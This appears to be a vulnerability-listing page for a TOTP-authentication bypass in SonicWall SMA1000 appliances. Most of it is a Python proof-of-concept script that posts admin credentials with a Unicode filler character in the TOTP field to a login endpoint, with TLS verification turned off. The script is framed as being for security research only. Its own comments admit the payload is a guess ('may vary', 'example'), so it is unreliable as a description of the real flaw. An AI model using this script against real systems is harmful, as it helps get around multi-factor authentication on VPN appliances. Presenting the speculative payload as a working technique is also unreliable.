Improper handling of Unicode encoding in SonicWall SMA1000 series appliances allows a remote authenticated SSLVPN admin to bypass AMC TOTP authentication.
SonicWall SMA1000 series (具体受影响版本请参考厂商公告 SNWLID-2026-0003)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Exploit Title: SonicWall SMA1000 Unicode Bypass PoC
# Description: Bypasses AMC TOTP authentication using specific Unicode encoding.
target_url = "https://<target-ip>/cgi-bin/login"
admin_user = "admin"
admin_pass = "admin_password"
session = requests.Session()
# Attempt to login with Unicode manipulation payload
# The specific Unicode sequence may vary based on the normalization flaw
login_data = {
"username": admin_user,
"password": admin_pass,
# Using a specific Unicode character that bypasses TOTP validation
"totp_token": "\u1160" # Example Hangul filler often used in unicode bypasses
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
print(f"[*] Sending exploit request to {target_url}...")
response = session.post(target_url, data=login_data, headers=headers, verify=False, timeout=10)
if response.status_code == 200 and ("dashboard" in response.text or "welcome" in response.text.lower()):
print("[+] Exploit successful! TOTP bypassed.")
print(f"[+] Response length: {len(response.text)}")
else:
print("[-] Exploit failed. Check credentials or if patch is applied.")
print(f"[-] Status code: {response.status_code}")
except Exception as e:
print(f"[!] Error occurred: {e}")